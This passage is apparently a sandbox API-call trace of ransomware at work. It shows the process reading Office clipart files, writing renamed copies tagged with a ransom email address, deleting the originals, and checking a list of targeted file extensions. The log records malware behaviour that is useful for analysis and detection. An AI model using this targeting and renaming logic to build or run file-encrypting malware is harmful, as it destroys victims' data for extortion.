GetLastError () returned 0x0 [0243.943] ReadFile (in: hFile=0x3b8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x6c8, lpOverlapped=0x0) returned 1 [0243.954] WriteFile (in: hFile=0x200, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0243.955] ReadFile (in: hFile=0x3b8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0243.955] WriteFile (in: hFile=0x200, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0243.955] SetEndOfFile (hFile=0x200) returned 1 [0244.026] CloseHandle (hObject=0x200) returned 1 [0244.026] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.026] SetEndOfFile (hFile=0x3b8) returned 1 [0244.028] CloseHandle (hObject=0x3b8) returned 1 [0244.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.385] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0244.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0244.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0244.473] lstrlenW (lpString=".doc") returned 4 [0244.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.474] lstrlenW (lpString=".docx") returned 5 [0244.474] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.474] lstrlenW (lpString=".pdf") returned 4 [0244.474] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.474] lstrlenW (lpString=".xls") returned 4 [0244.474] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.474] lstrlenW (lpString=".xlsx") returned 5 [0244.474] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.474] lstrlenW (lpString=".ppt") returned 4 [0244.474] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0244.474] lstrlenW (lpString=".zip") returned 4 [0244.474] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.474] lstrlenW (lpString=".rar") returned 4 [0244.474] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.474] lstrlenW (lpString=".bz2") returned 4 [0244.474] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.474] lstrlenW (lpString=".7z") returned 3 [0244.474] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0244.474] lstrlenW (lpString=".dbf") returned 4 [0244.474] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0244.474] lstrlenW (lpString=".1cd") returned 4 [0244.474] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0244.474] lstrlenW (lpString=".jpg") returned 4 [0244.474] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0244.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0244.492] lstrlenW (lpString=".doc") returned 4 [0244.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.492] lstrlenW (lpString=".docx") returned 5 [0244.492] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.492] lstrlenW (lpString=".pdf") returned 4 [0244.492] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.492] lstrlenW (lpString=".xls") returned 4 [0244.492] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.492] lstrlenW (lpString=".xlsx") returned 5 [0244.492] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.492] lstrlenW (lpString=".ppt") returned 4 [0244.492] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0244.492] lstrlenW (lpString=".zip") returned 4 [0244.492] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.492] lstrlenW (lpString=".rar") returned 4 [0244.492] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.492] lstrlenW (lpString=".bz2") returned 4 [0244.492] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.492] lstrlenW (lpString=".7z") returned 3 [0244.492] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0244.492] lstrlenW (lpString=".dbf") returned 4 [0244.492] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0244.492] lstrlenW (lpString=".1cd") returned 4 [0244.492] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0244.492] lstrlenW (lpString=".jpg") returned 4 [0244.492] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.493] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0244.493] lstrlenW (lpString="BL00392_.WMF") returned 12 [0244.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0244.493] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=27050) returned 1 [0244.493] CloseHandle (hObject=0x3a8) returned 1 [0244.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x20 [0244.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0244.494] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.494] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0244.494] GetLastError () returned 0x0 [0244.494] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x69aa, lpOverlapped=0x0) returned 1 [0244.546] WriteFile (in: hFile=0x398, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x69b0, lpOverlapped=0x0) returned 1 [0244.547] ReadFile (in: hFile=0x3a8, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.547] WriteFile (in: hFile=0x398, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.548] SetEndOfFile (hFile=0x398) returned 1 [0244.548] CloseHandle (hObject=0x398) returned 1 [0244.548] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.548] SetEndOfFile (hFile=0x3a8) returned 1 [0244.552] CloseHandle (hObject=0x3a8) returned 1 [0244.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.632] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0244.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0244.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0244.632] lstrlenW (lpString=".doc") returned 4 [0244.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.632] lstrlenW (lpString=".docx") returned 5 [0244.632] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.632] lstrlenW (lpString=".pdf") returned 4 [0244.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.632] lstrlenW (lpString=".xls") returned 4 [0244.632] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.633] lstrlenW (lpString=".xlsx") returned 5 [0244.633] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.633] lstrlenW (lpString=".ppt") returned 4 [0244.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0244.633] lstrlenW (lpString=".zip") returned 4 [0244.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.633] lstrlenW (lpString=".rar") returned 4 [0244.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.633] lstrlenW (lpString=".bz2") returned 4 [0244.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.633] lstrlenW (lpString=".7z") returned 3 [0244.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0244.633] lstrlenW (lpString=".dbf") returned 4 [0244.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0244.633] lstrlenW (lpString=".1cd") returned 4 [0244.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0244.633] lstrlenW (lpString=".jpg") returned 4 [0244.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0244.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0244.633] lstrlenW (lpString=".doc") returned 4 [0244.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.633] lstrlenW (lpString=".docx") returned 5 [0244.633] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.633] lstrlenW (lpString=".pdf") returned 4 [0244.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.633] lstrlenW (lpString=".xls") returned 4 [0244.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.633] lstrlenW (lpString=".xlsx") returned 5 [0244.633] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.633] lstrlenW (lpString=".ppt") returned 4 [0244.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0244.634] lstrlenW (lpString=".zip") returned 4 [0244.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.634] lstrlenW (lpString=".rar") returned 4 [0244.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.634] lstrlenW (lpString=".bz2") returned 4 [0244.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.634] lstrlenW (lpString=".7z") returned 3 [0244.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0244.634] lstrlenW (lpString=".dbf") returned 4 [0244.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0244.634] lstrlenW (lpString=".1cd") returned 4 [0244.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 63 [0244.634] lstrlenW (lpString=".jpg") returned 4 [0244.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.756] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0244.756] lstrlenW (lpString="BL00524_.WMF") returned 12 [0244.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0244.794] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=6996) returned 1 [0244.794] CloseHandle (hObject=0x37c) returned 1 [0244.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x20 [0244.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0244.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0244.794] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.794] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0244.806] GetLastError () returned 0x0 [0244.808] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1b54, lpOverlapped=0x0) returned 1 [0244.842] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1b60, lpOverlapped=0x0) returned 1 [0244.843] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0244.843] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0244.843] SetEndOfFile (hFile=0x39c) returned 1 [0244.890] CloseHandle (hObject=0x39c) returned 1 [0244.891] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0244.891] SetEndOfFile (hFile=0x37c) returned 1 [0244.901] CloseHandle (hObject=0x37c) returned 1 [0244.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0244.969] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0244.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0244.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0244.969] lstrlenW (lpString=".doc") returned 4 [0244.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.969] lstrlenW (lpString=".docx") returned 5 [0244.969] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.969] lstrlenW (lpString=".pdf") returned 4 [0244.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.970] lstrlenW (lpString=".xls") returned 4 [0244.970] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.970] lstrlenW (lpString=".xlsx") returned 5 [0244.970] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.970] lstrlenW (lpString=".ppt") returned 4 [0244.970] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0244.970] lstrlenW (lpString=".zip") returned 4 [0244.970] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.970] lstrlenW (lpString=".rar") returned 4 [0244.970] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.970] lstrlenW (lpString=".bz2") returned 4 [0244.970] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.970] lstrlenW (lpString=".7z") returned 3 [0244.970] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0244.970] lstrlenW (lpString=".dbf") returned 4 [0244.970] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0244.970] lstrlenW (lpString=".1cd") returned 4 [0244.970] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0244.971] lstrlenW (lpString=".jpg") returned 4 [0244.971] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0244.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0244.971] lstrlenW (lpString=".doc") returned 4 [0244.971] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0244.971] lstrlenW (lpString=".docx") returned 5 [0244.971] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0244.971] lstrlenW (lpString=".pdf") returned 4 [0244.971] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0244.971] lstrlenW (lpString=".xls") returned 4 [0244.971] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0244.971] lstrlenW (lpString=".xlsx") returned 5 [0244.971] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0244.971] lstrlenW (lpString=".ppt") returned 4 [0244.971] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0244.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0244.971] lstrlenW (lpString=".zip") returned 4 [0244.971] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0244.971] lstrlenW (lpString=".rar") returned 4 [0244.971] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0244.971] lstrlenW (lpString=".bz2") returned 4 [0244.971] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0244.971] lstrlenW (lpString=".7z") returned 3 [0244.971] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0244.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0244.971] lstrlenW (lpString=".dbf") returned 4 [0244.971] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0244.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0244.971] lstrlenW (lpString=".1cd") returned 4 [0244.971] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0244.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0244.971] lstrlenW (lpString=".jpg") returned 4 [0244.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0244.972] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0244.972] lstrlenW (lpString="BS00078_.WMF") returned 12 [0244.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0245.013] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1444) returned 1 [0245.013] CloseHandle (hObject=0x3ac) returned 1 [0245.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf")) returned 0x20 [0245.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0245.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0245.013] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.013] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00078_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00078_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0245.014] GetLastError () returned 0x0 [0245.014] ReadFile (in: hFile=0x3ac, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x5a4, lpOverlapped=0x0) returned 1 [0245.018] WriteFile (in: hFile=0x3c0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0245.019] ReadFile (in: hFile=0x3ac, 